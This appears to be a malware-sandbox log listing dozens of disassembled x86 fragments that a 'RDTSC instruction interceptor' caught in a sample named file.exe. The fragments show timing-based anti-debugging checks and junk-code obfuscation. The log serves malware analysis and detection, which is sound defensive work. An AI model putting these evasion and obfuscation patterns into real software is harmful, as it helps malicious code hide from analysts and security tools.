Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1084EC8 second address: 1084ED0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1084ED0 second address: 1084EEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 popad 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jno 00007F3AD12BE09Ch 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1084EEA second address: 1084F93 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F3AD1315052h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b add edx, dword ptr [ebp+122D354Ch] 0x00000011 push 00000003h 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push edi 0x00000018 call 00007F3AD1315048h 0x0000001d pop edi 0x0000001e mov dword ptr [esp+04h], edi 0x00000022 add dword ptr [esp+04h], 00000017h 0x0000002a inc edi 0x0000002b push edi 0x0000002c ret 0x0000002d pop edi 0x0000002e ret 0x0000002f mov edi, 7D1C0E82h 0x00000034 movzx edx, di 0x00000037 push 00000003h 0x00000039 pushad 0x0000003a je 00007F3AD131504Ch 0x00000040 xor ebx, 7F8A4E00h 0x00000046 popad 0x00000047 call 00007F3AD1315049h 0x0000004c jnl 00007F3AD1315050h 0x00000052 push eax 0x00000053 jno 00007F3AD131504Ah 0x00000059 mov eax, dword ptr [esp+04h] 0x0000005d push eax 0x0000005e push edx 0x0000005f pushad 0x00000060 jmp 00007F3AD1315056h 0x00000065 jmp 00007F3AD131504Fh 0x0000006a popad 0x0000006b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1084F93 second address: 1084F99 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1084F99 second address: 1084FA8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1084FA8 second address: 1084FB2 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A44DC second address: 10A44E6 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F3AD1315062h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A242F second address: 10A2435 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A2435 second address: 10A2439 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A2439 second address: 10A243D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A243D second address: 10A2455 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3AD131504Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A2AF8 second address: 10A2B0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F3AD12BE09Ch 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A2B0D second address: 10A2B11 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A2B11 second address: 10A2B17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109B836 second address: 109B850 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3AD131504Dh 0x00000009 ja 00007F3AD1315046h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A36A1 second address: 10A36B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3AD12BE0A1h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A36B8 second address: 10A36BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A3D61 second address: 10A3D65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A3D65 second address: 10A3D77 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F3AD1315046h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnl 00007F3AD1315048h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A3EF0 second address: 10A3EF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A4081 second address: 10A4087 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A4087 second address: 10A40C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b jo 00007F3AD12BE096h 0x00000011 popad 0x00000012 jmp 00007F3AD12BE0A7h 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F3AD12BE09Ch 0x0000001e jg 00007F3AD12BE096h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A40C4 second address: 10A40EE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F3AD1315053h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F3AD131504Fh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A40EE second address: 10A40F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A97B4 second address: 10A97BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A97BA second address: 10A97C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A97C0 second address: 10A97C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AFA21 second address: 10AFA32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3AD12BE09Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AF13B second address: 10AF141 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AF141 second address: 10AF145 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AF28A second address: 10AF2A8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F3AD131504Ah 0x0000000c jmp 00007F3AD131504Bh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AF2A8 second address: 10AF2B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pushad 0x00000007 pushad 0x00000008 push eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AF2B4 second address: 10AF2DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F3AD1315046h 0x0000000a popad 0x0000000b push esi 0x0000000c jmp 00007F3AD1315056h 0x00000011 pop esi 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AF774 second address: 10AF77A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B0F24 second address: 10B0F28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B0FCA second address: 10B0FCF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B0FCF second address: 10B1015 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 4CDA97AAh 0x00000010 push 00000000h 0x00000012 push edx 0x00000013 call 00007F3AD1315048h 0x00000018 pop edx 0x00000019 mov dword ptr [esp+04h], edx 0x0000001d add dword ptr [esp+04h], 0000001Ah 0x00000025 inc edx 0x00000026 push edx 0x00000027 ret 0x00000028 pop edx 0x00000029 ret 0x0000002a mov dword ptr [ebp+1245B004h], ebx 0x00000030 push 88CC3753h 0x00000035 push edx 0x00000036 push eax 0x00000037 push edx 0x00000038 jl 00007F3AD1315046h 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B1169 second address: 10B116E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B14BE second address: 10B14DA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F3AD1315051h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B15BB second address: 10B15D0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AD12BE09Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ecx 0x0000000b pushad 0x0000000c push edi 0x0000000d pop edi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B1BD5 second address: 10B1BE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F3AD1315046h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B1BE0 second address: 10B1BEA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F3AD12BE096h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B1C8C second address: 10B1C96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F3AD1315046h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B1C96 second address: 10B1C9A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B1E6E second address: 10B1E72 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B1F73 second address: 10B1F7D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B20E6 second address: 10B20EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B20EA second address: 10B2105 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AD12BE0A7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B22EA second address: 10B22F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F3AD1315046h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B22F4 second address: 10B233F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AD12BE09Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push edx 0x0000000f call 00007F3AD12BE098h 0x00000014 pop edx 0x00000015 mov dword ptr [esp+04h], edx 0x00000019 add dword ptr [esp+04h], 00000016h 0x00000021 inc edx 0x00000022 push edx 0x00000023 ret 0x00000024 pop edx 0x00000025 ret 0x00000026 mov edi, dword ptr [ebp+122D3818h] 0x0000002c jo 00007F3AD12BE096h 0x00000032 xchg eax, ebx 0x00000033 pushad 0x00000034 push edi 0x00000035 jnc 00007F3AD12BE096h 0x0000003b pop edi 0x0000003c pushad 0x0000003d push eax 0x0000003e push edx 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B233F second address: 10B2345 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B286F second address: 10B2873 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B2873 second address: 10B2879 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B3296 second address: 10B32B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 jmp 00007F3AD12BE0A5h 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B32B9 second address: 10B32BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B4CEB second address: 10B4CEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B4CEF second address: 10B4CF5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B4CF5 second address: 10B4D00 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007F3AD12BE096h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B4D00 second address: 10B4D6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ebx 0x0000000b call 00007F3AD1315048h 0x00000010 pop ebx 0x00000011 mov dword ptr [esp+04h], ebx 0x00000015 add dword ptr [esp+04h], 0000001Dh 0x0000001d inc ebx 0x0000001e push ebx 0x0000001f ret 0x00000020 pop ebx 0x00000021 ret 0x00000022 push 00000000h 0x00000024 push 00000000h 0x00000026 push eax 0x00000027 call 00007F3AD1315048h 0x0000002c pop eax 0x0000002d mov dword ptr [esp+04h], eax 0x00000031 add dword ptr [esp+04h], 00000014h 0x00000039 inc eax 0x0000003a push eax 0x0000003b ret 0x0000003c pop eax 0x0000003d ret 0x0000003e push 00000000h 0x00000040 mov dword ptr [ebp+122D3430h], esi 0x00000046 xchg eax, ebx 0x00000047 je 00007F3AD131505Ch 0x0000004d push eax 0x0000004e push edx 0x0000004f jmp 00007F3AD131504Eh 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B6200 second address: 10B621A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AD12BE0A0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B621A second address: 10B621E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B5F91 second address: 10B5F98 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B62C2 second address: 10B62C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B6CC9 second address: 10B6CCE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B6A7B second address: 10B6A89 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B6A89 second address: 10B6A90 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B7540 second address: 10B7545 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B7545 second address: 10B754B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BCC75 second address: 10BCC79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BCC79 second address: 10BCC9E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 cld 0x00000009 push 00000000h 0x0000000b xor dword ptr [ebp+122D25FFh], ecx 0x00000011 add dword ptr [ebp+12469050h], edi 0x00000017 push 00000000h 0x00000019 mov dword ptr [ebp+122D304Ch], edi 0x0000001f xchg eax, esi 0x00000020 push ebx 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BCC9E second address: 10BCCA2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BCCA2 second address: 10BCCAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push eax 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BDADA second address: 10BDADF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BCDB7 second address: 10BCDE7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AD12BE0A6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a push eax 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F3AD12BE0A1h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BDADF second address: 10BDB07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007F3AD1315058h 0x00000012 push edx 0x00000013 pop edx 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BDCEB second address: 10BDCF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BECA6 second address: 10BECAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BFB94 second address: 10BFB98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BECAA second address: 10BECCA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AD1315058h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BFB98 second address: 10BFBA2 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F3AD12BE096h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BECCA second address: 10BECCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C0A23 second address: 10C0A2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F3AD12BE096h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BFD50 second address: 10BFD63 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F3AD1315048h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BFD63 second address: 10BFD6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BFD6B second address: 10BFD71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BFD71 second address: 10BFDEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 nop 0x00000007 mov dword ptr [ebp+122D183Dh], edx 0x0000000d push dword ptr fs:[00000000h] 0x00000014 mov bl, cl 0x00000016 mov dword ptr fs:[00000000h], esp 0x0000001d mov eax, dword ptr [ebp+122D0E9Dh] 0x00000023 push 00000000h 0x00000025 push edi 0x00000026 call 00007F3AD12BE098h 0x0000002b pop edi 0x0000002c mov dword ptr [esp+04h], edi 0x00000030 add dword ptr [esp+04h], 00000017h 0x00000038 inc edi 0x00000039 push edi 0x0000003a ret 0x0000003b pop edi 0x0000003c ret 0x0000003d mov ebx, dword ptr [ebp+122D1C31h] 0x00000043 push FFFFFFFFh 0x00000045 push 00000000h 0x00000047 push ebp 0x00000048 call 00007F3AD12BE098h 0x0000004d pop ebp 0x0000004e mov dword ptr [esp+04h], ebp 0x00000052 add dword ptr [esp+04h], 00000016h 0x0000005a inc ebp 0x0000005b push ebp 0x0000005c ret 0x0000005d pop ebp 0x0000005e ret 0x0000005f mov edi, eax 0x00000061 or bh, 0000006Fh 0x00000064 add edi, 7EC4654Ch 0x0000006a push eax 0x0000006b pushad 0x0000006c je 00007F3AD12BE09Ch 0x00000072 push eax 0x00000073 push edx 0x00000074 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C2B13 second address: 10C2B24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 jc 00007F3AD1315046h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C2B24 second address: 10C2B28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
